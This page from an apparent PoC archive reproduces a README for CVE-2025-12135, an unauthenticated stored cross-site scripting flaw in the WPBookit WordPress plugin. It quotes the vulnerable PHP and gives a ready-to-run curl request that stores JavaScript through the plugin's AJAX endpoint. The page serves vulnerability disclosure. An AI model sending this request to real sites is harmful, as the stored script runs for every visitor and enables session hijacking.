Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2025-12135 PoC — WPBookit <= 1.0.6 - Unauthenticated Stored Cross-Site Scripting

Source
Associated Vulnerability
Title: WPBookit <= 1.0.6 - Unauthenticated Stored Cross-Site Scripting (CVE-2025-12135)
Description:The WPBookit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'css_code' parameter in all versions up to, and including, 1.0.6 due to a missing capability check on the save_custome_code() function. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Description
WPBookit <= 1.0.6 - Unauthenticated Stored Cross-Site Scripting
Readme
# WPBookit <= 1.0.6 - Unauthenticated Stored Cross-Site Scripting

The [WPBookit](https://wordpress.org/plugins/wpbookit/) plugin does not validate user permission or sanitize custom CSS/JS code in its `save_custome_code` AJAX endpoint, allowing unauthenticated attackers to inject arbitrary JavaScript that executes on every page load, leading to stored XSS and potential session hijacking.

## TL;DR Exploits

```bash
# Basic XSS injection
curl -X POST "http://localhost:1337/wp-admin/admin-ajax.php?action=wpb_ajax_post&route_name=save_custome_code" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "css_code=/* malicious */&js_code=alert('XSS');"
```

## Details

The vulnerability exists in the `save_custome_code` method of the `WPB_Setting_Controller` class. The plugin registers AJAX endpoints for unauthenticated users, allowing any visitor to inject arbitrary CSS/JS code that gets executed on every page load.

**Vulnerable code** from [`/core/admin/classes/controllers/class.wpb-setting-controller.php:16-25`](https://plugins.trac.wordpress.org/browser/wpbookit/trunk/core/admin/classes/controllers/class.wpb-setting-controller.php#L16):
```php
public function save_custome_code(WP_REST_Request $request){
    $css_code= $request->get_param('css_code');
    $js_code= $request->get_param('js_code');
    update_option( 'wpb_custom_code_data', [  'css_code' => $css_code,  'js_code' => $js_code ]);
}
```

**Code execution** from [`/core/shortcodes/class-wpbookit-shortcode-abstract.php:20-27`](https://plugins.trac.wordpress.org/browser/wpbookit/trunk/core/shortcodes/class-wpbookit-shortcode-abstract.php#L20):
```php
$wpb_custom_code= get_option( 'wpb_custom_code_data', [  'css_code' => '',  'js_code' => '' ]);

wp_add_inline_style( 'wpb-custom-code-css', stripslashes($wpb_custom_code['css_code']));
wp_add_inline_script( 'wpb-custom-code-js', stripslashes($wpb_custom_code['js_code']) );
```

**Unauthenticated access** from [`/core/admin/classes/class.wpb-admin-routes-handler.php:15-16`](https://plugins.trac.wordpress.org/browser/wpbookit/trunk/core/admin/classes/class.wpb-admin-routes-handler.php#L15):
```php
add_action( "wp_ajax_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] );
add_action( "wp_ajax_nopriv_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] );
```

**Route configuration** from [`/core/admin/classes/class.wpb-admin-routes.php:118-123`](https://plugins.trac.wordpress.org/browser/wpbookit/trunk/core/admin/classes/class.wpb-admin-routes.php#L118):
```php
'save_custome_code' => [
    'method' => 'post',
    'action' => 'WPB_Setting_Controller@save_custome_code',
    'nonce' => 0,
    'module' => 'setting-controller'
],
```

## Manual Reproduction

1. **Identify target** with WPBookit plugin installed
2. **Inject malicious JavaScript**:
```bash
curl -X POST "http://localhost:1337/wp-admin/admin-ajax.php?action=wpb_ajax_post&route_name=save_custome_code" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "css_code=/* malicious */&js_code=alert('XSS');"
```

3. **Verify injection** by visiting any page on the site - the alert will execute
4. **Check persistence** - the malicious code is stored in the database and executes on every page load
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →